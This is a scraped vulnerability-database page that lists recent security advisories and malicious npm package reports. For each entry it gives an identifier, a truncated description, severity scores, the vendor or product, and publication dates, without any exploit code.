Recent vulnerabilities


Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ghsa-h7xg-2jc7-p8p4 A security flaw has been discovered in Portabilis i-Educar up to 2.10. This issue affects some unkn… 2025-08-30T12:30:29Z 2025-08-30T12:30:29Z
ghsa-3rq8-v5hj-fm3g A weakness has been identified in Portabilis i-Educar up to 2.10. Impacted is an unknown function o… 2025-08-30T12:30:29Z 2025-08-30T12:30:29Z
ghsa-q8pv-pjmh-2j76 A vulnerability was found in O2OA up to 10.0-410. Affected by this issue is some unknown functional… 2025-08-30T12:30:28Z 2025-08-30T12:30:28Z
ghsa-p7jq-2wv5-rrmc In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boun… 2025-08-30T12:30:28Z 2025-08-30T12:30:28Z
ghsa-cm4w-gfpw-w26h A vulnerability has been found in O2OA up to 10.0-410. Affected by this vulnerability is an unknown… 2025-08-30T12:30:28Z 2025-08-30T12:30:28Z
ghsa-9cr3-j8m7-4rwr A vulnerability was determined in Portabilis i-Educar up to 2.10. This affects an unknown part of t… 2025-08-30T12:30:28Z 2025-08-30T12:30:28Z
ghsa-7xqv-2x45-4r98 A vulnerability was identified in Portabilis i-Educar up to 2.10. This vulnerability affects unknow… 2025-08-30T12:30:28Z 2025-08-30T12:30:28Z
ghsa-54qx-m7wc-j575 The Related Posts Lite plugin for WordPress is vulnerable to Cross-Site Request Forgery in all vers… 2025-08-30T03:30:25Z 2025-08-30T03:30:25Z
ghsa-4hj9-78fp-ppfg Path Traversal: '.../...//' vulnerability in AA-Team Pro Bulk Watermark Plugin for WordPress allows… 2025-08-30T03:30:25Z 2025-08-30T03:30:25Z
ghsa-xjv2-3c45-5x63 A heap-based buffer overflow vulnerability in NetSupport Manager 14.x versions prior to 14.12.0000 … 2025-08-30T00:30:30Z 2025-08-30T00:30:30Z
ghsa-f997-wv99-x22r A stack-based buffer overflow vulnerability in NetSupport Manager 14.x versions prior to 14.12.0000… 2025-08-30T00:30:30Z 2025-08-30T00:30:30Z
ghsa-22r2-m2r8-4chj A weakness has been identified in Campcodes Online Loan Management System 1.0. The impacted element… 2025-08-30T00:30:30Z 2025-08-30T00:30:30Z
ghsa-876g-49r6-33qj Liferay Portal allows improper access through the expandoTableLocalService 2025-08-29T21:32:02Z 2025-08-29T22:07:28Z
ghsa-4855-q42w-5vr4 DoS Vulnerability in ntpd-rs 2025-08-29T20:07:27Z 2025-08-29T21:58:17Z
ghsa-vf6x-mc82-5237 A security flaw has been discovered in Modo Legend of the Phoenix up to 1.0.5. The affected element… 2025-08-29T21:32:02Z 2025-08-29T21:32:03Z
ghsa-x3hp-pwc8-rww8 A binary in the BoKS Server Agent component of Fortra's Core Privileged Access Manager (BoKS) on ve… 2025-06-17T21:32:30Z 2025-08-29T21:32:02Z
ghsa-w376-wv55-x9m2 A flaw has been found in Transbyte Scooper News App up to 1.2 on Android. Affected by this issue is… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-rmj4-vvpv-4m33 execute_filter_audio in archive_read_support_format_rar.c in libarchive before 3.7.5 allows out-of-… 2024-10-10T03:30:44Z 2025-08-29T21:32:02Z
ghsa-p5f9-rhfp-jw6p A vulnerability was identified in Portabilis i-Educar up to 2.10. Affected by this vulnerability is… 2025-08-29T15:30:38Z 2025-08-29T21:32:02Z
ghsa-mqhg-76g5-3rxv In RaspAP raspap-webgui 3.3.2 and earlier, a command injection vulnerability exists in the includes… 2025-08-27T18:31:54Z 2025-08-29T21:32:02Z
ghsa-jfvj-x4v5-jgqr A vulnerability was detected in Kakao 헤이카카오 Hey Kakao App up to 2.17.4 on Android. Affected by this… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-j78m-35f9-q5jq TRENDnet TV-IP410 vA1.0R was discovered to contain an OS command injection vulnerability via the /s… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-hj3f-9q6f-gr63 A vulnerability was identified in NCSOFT Universe App up to 1.3.0. Impacted is an unknown function … 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-c2jg-9j98-6679 Improper Access Control issue in the Workflow component of Fortra's FileCatalyst allows unauthentic… 2025-08-19T18:31:34Z 2025-08-29T21:32:02Z
ghsa-9mw4-2ppr-4mcg execute_filter_delta in archive_read_support_format_rar.c in libarchive before 3.7.5 allows out-of-… 2024-10-10T03:30:45Z 2025-08-29T21:32:02Z
ghsa-97vq-9m52-3rjh A vulnerability was determined in Portabilis i-Educar up to 2.10. Affected is an unknown function o… 2025-08-29T15:30:38Z 2025-08-29T21:32:02Z
ghsa-7jmc-c86x-j6px A vulnerability was detected in code-projects Simple Grading System 1.0. This affects an unknown pa… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-7hr9-c7mv-j423 An issue in Evope Core v.1.1.3.20 allows a local attacker to obtain sensitive information via the u… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-7fpq-mj6w-qx3h A security vulnerability has been detected in Rejseplanen App up to 8.2.2. Affected is an unknown f… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
ghsa-6jxv-35jp-jr5v A security flaw has been discovered in mixmark-io turndown up to 7.2.1. This affects an unknown fun… 2025-08-29T21:32:02Z 2025-08-29T21:32:02Z
Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2025-7969 6.9 (v4.0) Markdown-it 14.1.0 - Cross-site scripting (XSS) markdown-it
markdown-it
2025-08-21T16:40:05.915Z 2025-09-01T17:19:53.496Z
cve-2025-9375 6.9 (v4.0) xmltodict 0.14.2 - XML Injection xmltodict
xmltodict
2025-09-01T16:43:18.220Z 2025-09-01T16:43:18.220Z
cve-2025-57799 StreamVault can perform remote command execution lemon8866
StreamVault
2025-09-01T15:46:27.137Z 2025-09-01T15:46:27.137Z
cve-2025-55007 Knowage vulnerable to server-side request forgery KnowageLabs
Knowage-Server
2025-09-01T15:46:04.915Z 2025-09-01T15:46:04.915Z
cve-2024-5971 7.5 (v3.1) Undertow: response write hangs in case of java 17 tlsv…

2024-07-08T20:51:29.223Z 2025-09-01T15:32:48.332Z
cve-2025-9786 Campcodes Online Learning Management System teacher_si… Campcodes
Online Learning Management System
2025-09-01T15:32:07.126Z 2025-09-01T15:32:07.126Z
cve-2025-9688 Mupen64Plus is_viewer.c write_is_viewer integer overflow n/a
Mupen64Plus
2025-08-30T12:32:07.104Z 2025-09-01T15:02:41.844Z
cve-2025-9783 TOTOLINK A702R formParentControl sub_418030 buffer overflow TOTOLINK
A702R
2025-09-01T14:32:07.404Z 2025-09-01T14:32:07.404Z
cve-2025-0656 6.1 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:23:54.041Z 2025-09-01T14:23:54.041Z
cve-2025-33082 5.4 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:22:55.516Z 2025-09-01T14:22:55.516Z
cve-2025-33083 5.4 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:22:14.739Z 2025-09-01T14:22:14.739Z
cve-2025-33084 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:20:52.366Z 2025-09-01T14:20:52.366Z
cve-2025-33099 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:19:45.777Z 2025-09-01T14:19:45.777Z
cve-2025-33102 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:18:37.636Z 2025-09-01T14:18:37.636Z
cve-2025-9782 TOTOLINK A702R formOneKeyAccessButton sub_4466F8 buffe… TOTOLINK
A702R
2025-09-01T14:02:07.534Z 2025-09-01T14:02:07.534Z
cve-2025-4598 4.7 (v3.1) Systemd-coredump: race condition that allows a local a… Red Hat
Red Hat Enterprise Linux 10
2025-05-30T13:13:26.049Z 2025-09-01T13:52:41.948Z
cve-2025-9781 TOTOLINK A702R formFilter sub_4162DC buffer overflow TOTOLINK
A702R
2025-09-01T13:32:09.164Z 2025-09-01T13:32:09.164Z
cve-2025-9780 TOTOLINK A702R formIpQoS sub_419BE0 buffer overflow TOTOLINK
A702R
2025-09-01T13:02:08.548Z 2025-09-01T13:02:08.548Z
cve-2025-2412 8.6 (v3.1) OTP Bypass in Akinsoft's QR Menu Akinsoft
QR Menu
2025-09-01T12:48:50.980Z 2025-09-01T12:48:50.980Z
cve-2025-0610 8.6 (v3.1) CSRF in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:44:34.614Z 2025-09-01T12:44:34.614Z
cve-2024-12925 7.3 (v3.1) Host Header Injection in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:39:26.843Z 2025-09-01T12:39:26.843Z
cve-2024-12924 6.3 (v3.1) Open Redirect in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:33:31.981Z 2025-09-01T12:33:31.981Z
cve-2025-9779 TOTOLINK A702R formFilter sub_4162DC buffer overflow TOTOLINK
A702R
2025-09-01T12:32:09.168Z 2025-09-01T12:32:09.168Z
cve-2024-12914 4.3 (v3.1) XSS in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:28:06.846Z 2025-09-01T12:28:06.846Z
cve-2025-9778 Tenda W12 Administrative shadow hard-coded credentials Tenda
W12
2025-09-01T12:02:08.108Z 2025-09-01T12:02:08.108Z
cve-2025-36133 5.9 (v3.1) IBM App Connect Enterprise information disclosure IBM
App Connect Enterprise Certified Container
2025-09-01T11:56:19.981Z 2025-09-01T11:56:19.981Z
cve-2025-9775 RemoteClinic edit-my-profile.php unrestricted upload n/a
RemoteClinic
2025-09-01T11:02:06.696Z 2025-09-01T11:02:06.696Z
cve-2025-9774 RemoteClinic edit-patient.php information disclosure n/a
RemoteClinic
2025-09-01T10:32:06.529Z 2025-09-01T10:32:06.529Z
cve-2025-1500 5.5 (v3.1) IBM Maximo Application Suite file upload IBM
Maximo Application Suite
2025-04-05T00:28:26.041Z 2025-09-01T10:16:54.102Z
cve-2025-3423 5.4 (v3.1) IBM Aspera Faspex 5 cross-site scripting IBM
Aspera Faspex
2025-04-13T11:56:15.398Z 2025-09-01T10:15:36.536Z
Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2025-9786 Campcodes Online Learning Management System teacher_si… Campcodes
Online Learning Management System
2025-09-01T15:32:07.126Z 2025-09-01T15:32:07.126Z
cve-2025-57799 StreamVault can perform remote command execution lemon8866
StreamVault
2025-09-01T15:46:27.137Z 2025-09-01T15:46:27.137Z
cve-2025-55007 Knowage vulnerable to server-side request forgery KnowageLabs
Knowage-Server
2025-09-01T15:46:04.915Z 2025-09-01T15:46:04.915Z
cve-2025-9783 TOTOLINK A702R formParentControl sub_418030 buffer overflow TOTOLINK
A702R
2025-09-01T14:32:07.404Z 2025-09-01T14:32:07.404Z
cve-2025-9688 Mupen64Plus is_viewer.c write_is_viewer integer overflow n/a
Mupen64Plus
2025-08-30T12:32:07.104Z 2025-09-01T15:02:41.844Z
cve-2025-33102 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:18:37.636Z 2025-09-01T14:18:37.636Z
cve-2025-33099 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:19:45.777Z 2025-09-01T14:19:45.777Z
cve-2025-33084 5.9 (v3.1) IBM Concert Software information disclosure IBM
Concert Software
2025-09-01T14:20:52.366Z 2025-09-01T14:20:52.366Z
cve-2025-33083 5.4 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:22:14.739Z 2025-09-01T14:22:14.739Z
cve-2025-33082 5.4 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:22:55.516Z 2025-09-01T14:22:55.516Z
cve-2025-0656 6.1 (v3.1) IBM Concert Software cross-site scripting IBM
Concert Software
2025-09-01T14:23:54.041Z 2025-09-01T14:23:54.041Z
cve-2025-9782 TOTOLINK A702R formOneKeyAccessButton sub_4466F8 buffe… TOTOLINK
A702R
2025-09-01T14:02:07.534Z 2025-09-01T14:02:07.534Z
cve-2025-9781 TOTOLINK A702R formFilter sub_4162DC buffer overflow TOTOLINK
A702R
2025-09-01T13:32:09.164Z 2025-09-01T13:32:09.164Z
cve-2025-9780 TOTOLINK A702R formIpQoS sub_419BE0 buffer overflow TOTOLINK
A702R
2025-09-01T13:02:08.548Z 2025-09-01T13:02:08.548Z
cve-2025-9779 TOTOLINK A702R formFilter sub_4162DC buffer overflow TOTOLINK
A702R
2025-09-01T12:32:09.168Z 2025-09-01T12:32:09.168Z
cve-2025-2412 8.6 (v3.1) OTP Bypass in Akinsoft's QR Menu Akinsoft
QR Menu
2025-09-01T12:48:50.980Z 2025-09-01T12:48:50.980Z
cve-2025-0610 8.6 (v3.1) CSRF in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:44:34.614Z 2025-09-01T12:44:34.614Z
cve-2024-12925 7.3 (v3.1) Host Header Injection in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:39:26.843Z 2025-09-01T12:39:26.843Z
cve-2024-12924 6.3 (v3.1) Open Redirect in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:33:31.981Z 2025-09-01T12:33:31.981Z
cve-2024-12914 4.3 (v3.1) XSS in Akinsoft's QR Menu Akınsoft
QR Menü
2025-09-01T12:28:06.846Z 2025-09-01T12:28:06.846Z
cve-2025-9778 Tenda W12 Administrative shadow hard-coded credentials Tenda
W12
2025-09-01T12:02:08.108Z 2025-09-01T12:02:08.108Z
cve-2025-36133 5.9 (v3.1) IBM App Connect Enterprise information disclosure IBM
App Connect Enterprise Certified Container
2025-09-01T11:56:19.981Z 2025-09-01T11:56:19.981Z
cve-2025-9775 RemoteClinic edit-my-profile.php unrestricted upload n/a
RemoteClinic
2025-09-01T11:02:06.696Z 2025-09-01T11:02:06.696Z
cve-2025-9774 RemoteClinic edit-patient.php information disclosure n/a
RemoteClinic
2025-09-01T10:32:06.529Z 2025-09-01T10:32:06.529Z
cve-2025-9773 RemoteClinic edit.php cross site scripting n/a
RemoteClinic
2025-09-01T10:02:06.175Z 2025-09-01T10:02:06.175Z
cve-2025-9772 RemoteClinic edit.php unrestricted upload n/a
RemoteClinic
2025-09-01T09:32:06.499Z 2025-09-01T09:32:06.499Z
cve-2025-27696 5.3 (v4.0) Apache Superset: Incorrect authorization leading to re… Apache Software Foundation
Apache Superset
2025-05-13T08:21:21.199Z 2025-09-01T09:52:53.293Z
cve-2024-7221 SourceCodester/Campcodes School Log Management System … SourceCodester
School Log Management System
2024-07-30T06:31:04.652Z 2025-09-01T09:59:19.057Z
cve-2024-7220 SourceCodester/Campcodes School Log Management System … SourceCodester
School Log Management System
2024-07-30T06:00:08.260Z 2025-09-01T09:59:16.592Z
cve-2024-7219 SourceCodester/Campcodes School Log Management System … SourceCodester
School Log Management System
2024-07-30T05:31:03.591Z 2025-09-01T09:59:21.550Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
fkie_cve-2025-9786 A vulnerability was found in Campcodes Online Learning Management System 1.0. Affected is an unknow… 2025-09-01T16:15:31.780 2025-09-01T16:15:31.780
fkie_cve-2025-57799 StreamVault is a multi-platform video parsing and downloading tool. Prior to version 250822, after … 2025-09-01T16:15:31.590 2025-09-01T16:15:31.590
fkie_cve-2025-55007 Knowage is an open source analytics and business intelligence suite. Prior to version 8.1.37, Knowa… 2025-09-01T16:15:31.370 2025-09-01T16:15:31.370
fkie_cve-2025-9783 A vulnerability was determined in TOTOLINK A702R 4.0.0-B20211108.1423. This issue affects the funct… 2025-09-01T15:15:35.650 2025-09-01T15:15:35.650
fkie_cve-2025-9688 A security vulnerability has been detected in Mupen64Plus up to 2.6.0. The affected element is the … 2025-08-30T13:15:34.397 2025-09-01T15:15:35.437
fkie_cve-2025-33102 IBM Concert Software 1.0.0 through 1.1.0 uses weaker than expected cryptographic algorithms that co… 2025-09-01T15:15:35.230 2025-09-01T15:15:35.230
fkie_cve-2025-33099 IBM Concert Software 1.0.0 through 1.1.0 could allow a remote attacker to perform unauthorized acti… 2025-09-01T15:15:35.030 2025-09-01T15:15:35.030
fkie_cve-2025-33084 IBM Concert Software 1.0.0 through 1.1.0 could allow a remote attacker to obtain sensitive informat… 2025-09-01T15:15:34.833 2025-09-01T15:15:34.833
fkie_cve-2025-33083 IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. This vulnerability … 2025-09-01T15:15:34.640 2025-09-01T15:15:34.640
fkie_cve-2025-33082 IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. This vulnerability … 2025-09-01T15:15:34.440 2025-09-01T15:15:34.440
fkie_cve-2025-0656 IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. This vulnerability … 2025-09-01T15:15:33.593 2025-09-01T15:15:33.593
fkie_cve-2025-9782 A vulnerability was found in TOTOLINK A702R 4.0.0-B20211108.1423. This vulnerability affects the fu… 2025-09-01T14:15:32.003 2025-09-01T14:15:32.003
fkie_cve-2025-9781 A vulnerability has been found in TOTOLINK A702R 4.0.0-B20211108.1423. This affects the function su… 2025-09-01T14:15:31.723 2025-09-01T14:15:31.723
fkie_cve-2025-9780 A flaw has been found in TOTOLINK A702R 4.0.0-B20211108.1423. Affected by this issue is the functio… 2025-09-01T13:15:33.987 2025-09-01T13:15:33.987
fkie_cve-2025-9779 A vulnerability was detected in TOTOLINK A702R 4.0.0-B20211108.1423. Affected by this vulnerability… 2025-09-01T13:15:33.730 2025-09-01T13:15:33.730
fkie_cve-2025-2412 Improper Restriction of Excessive Authentication Attempts vulnerability in Akinsoft QR Menu allows … 2025-09-01T13:15:33.507 2025-09-01T13:15:33.507
fkie_cve-2025-0610 Cross-Site Request Forgery (CSRF) vulnerability in Akınsoft QR Menü allows Cross Site Request Forge… 2025-09-01T13:15:33.297 2025-09-01T13:15:33.297
fkie_cve-2024-12925 Improper Validation of Certificate with Host Mismatch vulnerability in Akınsoft QR Menü allows HTTP… 2025-09-01T13:15:33.100 2025-09-01T13:15:33.100
fkie_cve-2024-12924 URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Akınsoft QR Menü allows Forcef… 2025-09-01T13:15:32.897 2025-09-01T13:15:32.897
fkie_cve-2024-12914 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnera… 2025-09-01T13:15:32.070 2025-09-01T13:15:32.070
fkie_cve-2025-9778 A security vulnerability has been detected in Tenda W12 up to 3.0.0.6(3948). Affected is an unknown… 2025-09-01T12:15:32.180 2025-09-01T12:15:32.180
fkie_cve-2025-36133 IBM App Connect Enterprise Certified Container CD: 9.2.0 through 11.6.0, 12.1.0 through 12.14.0, an… 2025-09-01T12:15:31.333 2025-09-01T12:15:31.333
fkie_cve-2025-9775 A vulnerability was found in RemoteClinic up to 2.0. Impacted is an unknown function of the file /s… 2025-09-01T11:15:31.920 2025-09-01T11:15:31.920
fkie_cve-2025-9774 A vulnerability has been found in RemoteClinic up to 2.0. This issue affects some unknown processin… 2025-09-01T11:15:31.667 2025-09-01T11:15:31.667
fkie_cve-2025-9773 A flaw has been found in RemoteClinic up to 2.0. This vulnerability affects unknown code of the fil… 2025-09-01T10:15:33.957 2025-09-01T10:15:33.957
fkie_cve-2025-9772 A vulnerability was detected in RemoteClinic up to 2.0. This affects an unknown part of the file /s… 2025-09-01T10:15:33.677 2025-09-01T10:15:33.677
fkie_cve-2025-27696 Incorrect Authorization vulnerability in Apache Superset allows ownership takeover of dashboards, c… 2025-05-13T09:15:20.823 2025-09-01T10:15:33.457
fkie_cve-2024-7221 A vulnerability was determined in SourceCodester/Campcodes School Log Management System 1.0. This a… 2024-07-30T07:15:02.323 2025-09-01T10:15:33.203
fkie_cve-2024-7220 A vulnerability was found in SourceCodester/Campcodes School Log Management System 1.0. Affected by… 2024-07-30T06:15:04.847 2025-09-01T10:15:32.973
fkie_cve-2024-7219 A vulnerability has been found in SourceCodester/Campcodes School Log Management System 1.0. Affect… 2024-07-30T06:15:04.143 2025-09-01T10:15:32.727
Vulnerabilities are sorted by update time (recent to old).
ID Description Package Published Updated
pysec-2025-51 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) v… apache-airflow-providers-snowflake 2025-06-24T08:15:24+00:00 2025-06-26T21:23:03.132527+00:00
pysec-2025-50 vLLM, an inference and serving engine for large language models (LLMs), has a Regular Exp… vllm 2025-05-30T18:15:32+00:00 2025-06-19T03:02:28.572160+00:00
pysec-2024-255 Gradio before 4.20 allows credential leakage on Windows. gradio 2024-05-05T20:15:07+00:00 2025-06-17T19:21:48.983901+00:00
pysec-2024-254 A session fixation vulnerability exists in the zenml-io/zenml application, where JWT toke… zenml 2024-04-16T00:15:11+00:00 2025-06-13T00:48:41.806476+00:00
pysec-2025-49 setuptools is a package that allows users to download, build, install, upgrade, and unins… setuptools 2025-05-17T16:15:19+00:00 2025-06-12T22:23:11.115559+00:00
pysec-2025-48 Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessm… mobsf 2025-03-31T17:15:42+00:00 2025-06-12T22:23:10.476087+00:00
pysec-2024-253 pretix before 2024.1.1 mishandles file validation. pretix 2024-02-26T16:28:00+00:00 2025-06-11T15:23:51.683422+00:00
pysec-2024-252 PyTorch before v2.2.0 was discovered to contain a heap buffer overflow vulnerability in t… torch 2024-04-17T19:15:07+00:00 2025-06-10T19:22:08.948962+00:00
pysec-2024-251 Pytorch before version v2.2.0 was discovered to contain a use-after-free vulnerability in… torch 2024-04-17T19:15:07+00:00 2025-06-10T03:12:59.077932+00:00
pysec-2025-47 An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2… django 2025-06-05T03:15:25+00:00 2025-06-05T05:23:28.296596+00:00
pysec-2025-46 A vulnerability was found in erdogant pypickle up to 1.1.5. It has been classified as cri… pypickle 2025-05-26T08:15:19+00:00 2025-06-03T17:36:58.579358+00:00
pysec-2025-45 A vulnerability was found in erdogant pypickle up to 1.1.5 and classified as problematic.… pypickle 2025-05-26T07:15:26+00:00 2025-06-03T17:36:58.528116+00:00
pysec-2024-250 Pytorch before v2.2.0 has an Out-of-bounds Read vulnerability via the component torch/csr… torch 2024-04-19T21:15:08+00:00 2025-06-03T15:23:56.072490+00:00
pysec-2023-312 Redis before 6cbea7d allows a replica to cause an assertion failure in a primary server b… redis 2023-07-15T23:15:09Z 2025-06-02T11:48:06.372423Z
pysec-2025-44 django-helpdesk before 1.0.0 allows Sensitive Data Exposure because of os.umask(0) in mod… django-helpdesk 2025-05-31T01:15:19+00:00 2025-05-31T03:09:35.357757+00:00
pysec-2025-43 vLLM is an inference and serving engine for large language models (LLMs). In versions sta… vllm 2025-05-29T17:15:21+00:00 2025-05-29T19:21:01.611587+00:00
pysec-2025-42 vLLM is a high-throughput and memory-efficient inference and serving engine for LLMs. Ver… vllm 2025-04-30T01:15:51+00:00 2025-05-28T21:23:12.396609+00:00
pysec-2025-41 PyTorch is a Python package that provides tensor computation with strong GPU acceleration… torch 2025-04-18T16:15:23+00:00 2025-05-28T15:23:37.843138+00:00
pysec-2025-40 A vulnerability in the `preprocess_string()` function of the `transformers.testing_utils`… transformers 2025-05-19T12:15:19+00:00 2025-05-21T19:22:10.801823+00:00
pysec-2024-249 ### Summary On all Label Studio versions prior to 1.11.0, data imported via file upload f… label-studio 2024-02-22T22:15:47+00:00 2025-05-19T11:22:35.312280+00:00
pysec-2024-248 OpenCanary, a multi-protocol network honeypot, directly executed commands taken from its … opencanary 2024-10-14T21:15:12+00:00 2025-05-16T14:23:05.150356+00:00
pysec-2025-39 motionEye is an online interface for the software motion, a video surveillance program wi… motioneye 2025-05-14T16:15:29+00:00 2025-05-14T17:22:51.050788+00:00
pysec-2025-38 OpenStack Ironic before 29.0.1 can write unintended files to a target node disk during im… ironic 2025-05-08T17:16:01Z 2025-05-13T04:24:03.083929Z
pysec-2024-247 A directory traversal vulnerability exists in the zenml-io/zenml repository, specifically… zenml 2024-04-16T00:15:11+00:00 2025-05-12T15:23:53.861001+00:00
pysec-2025-37 An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2… django 2025-05-08T04:17:18+00:00 2025-05-08T05:23:16.210893+00:00
pysec-2025-36 Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/valida… langflow 2025-04-07T15:15:44+00:00 2025-05-07T19:22:44.993642+00:00
pysec-2024-246 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. Starting in… vyper 2024-04-25T17:15:50+00:00 2025-05-05T19:21:20.899426+00:00
pysec-2024-111 A path traversal vulnerability exists in the `getFullPath` method of langchain-ai/langcha… langchain 2024-10-29T13:15:00Z 2025-05-02T18:39:47.588215Z
pysec-2024-245 Apache Airflow, versions before 2.8.2, has a vulnerability that allows authenticated user… apache-airflow 2024-02-29T11:15:08+00:00 2025-05-01T21:22:38.598048+00:00
pysec-2025-35 Weblate is a web based localization tool. Prior to version 5.11, when creating a new comp… weblate 2025-04-15T21:16:04+00:00 2025-04-30T17:22:51.467257+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
gsd-2024-33874 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33861 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33850 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33856 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33870 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33849 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33854 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33868 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33881 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33880 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33877 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33873 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33859 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33875 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33878 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33858 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33872 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33857 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33853 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33863 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33852 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33866 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33867 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33882 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33871 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33862 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33864 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33865 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33869 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33860 The format of the source doesn't require a description, click on the link for more details
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
mal-2024-10556 Malicious code in com.immutable.api.zkevm (npm) 2024-11-07T23:45:35Z 2024-12-05T00:35:14Z
mal-2024-10553 Malicious code in autolink-jira-issue (npm) 2024-11-08T08:41:39Z 2024-12-05T00:35:14Z
mal-2024-10550 Malicious code in activity_logs_monitoring (npm) 2024-11-08T08:11:56Z 2024-12-05T00:35:14Z
mal-2024-10535 Malicious code in deriv-app-id-action (npm) 2024-11-08T12:15:59Z 2024-12-05T00:35:14Z
mal-2024-11188 Malicious code in private-lib-bug-bounty (npm) 2024-12-04T20:43:08Z 2024-12-04T20:43:08Z
mal-2024-11187 Malicious code in cdp-agentkit (npm) 2024-12-04T18:40:44Z 2024-12-04T18:40:44Z
mal-2024-11186 Malicious code in cdp-agentkit-nodejs (npm) 2024-12-04T18:30:54Z 2024-12-04T18:30:54Z
mal-2024-11189 Malicious code in pocfinalone.js (npm) 2024-12-04T18:30:35Z 2024-12-04T18:30:35Z
mal-2024-11185 Malicious code in com.bovinelabs.analyzers (npm) 2024-12-04T16:30:55Z 2024-12-04T16:30:55Z
mal-2024-11190 Malicious code in vue-midata (npm) 2024-12-04T11:57:41Z 2024-12-04T11:57:41Z
mal-2024-11199 Malicious code in wrapped-tokens (npm) 2024-12-04T05:08:01Z 2024-12-04T05:13:14Z
mal-2024-11195 Malicious code in fastify-tfb (npm) 2024-12-04T05:08:01Z 2024-12-04T05:13:13Z
mal-2024-11198 Malicious code in web3-executor (npm) 2024-12-04T04:54:47Z 2024-12-04T04:54:47Z
mal-2024-11197 Malicious code in stacks-blockchain-dist-tool (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:11Z
mal-2024-11191 Malicious code in auto-cancel-redundant-job (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:11Z
mal-2024-11196 Malicious code in set-pr-description-action (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:07Z
mal-2024-11193 Malicious code in codat-docs (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:07Z
mal-2024-11194 Malicious code in com.immutable.marketplace (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:06Z
mal-2024-11192 Malicious code in basic-preset-minting (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:06Z
mal-2024-11184 Malicious code in dcapps-cli (npm) 2024-12-03T23:34:52Z 2024-12-03T23:34:53Z
mal-2024-11182 Malicious code in @0xengine/xmlrpc (npm) 2024-12-03T11:38:01Z 2024-12-03T11:38:02Z
mal-2024-11164 Malicious code in acm-nano-logger-fe (npm) 2024-12-02T06:38:26Z 2024-12-02T06:38:26Z
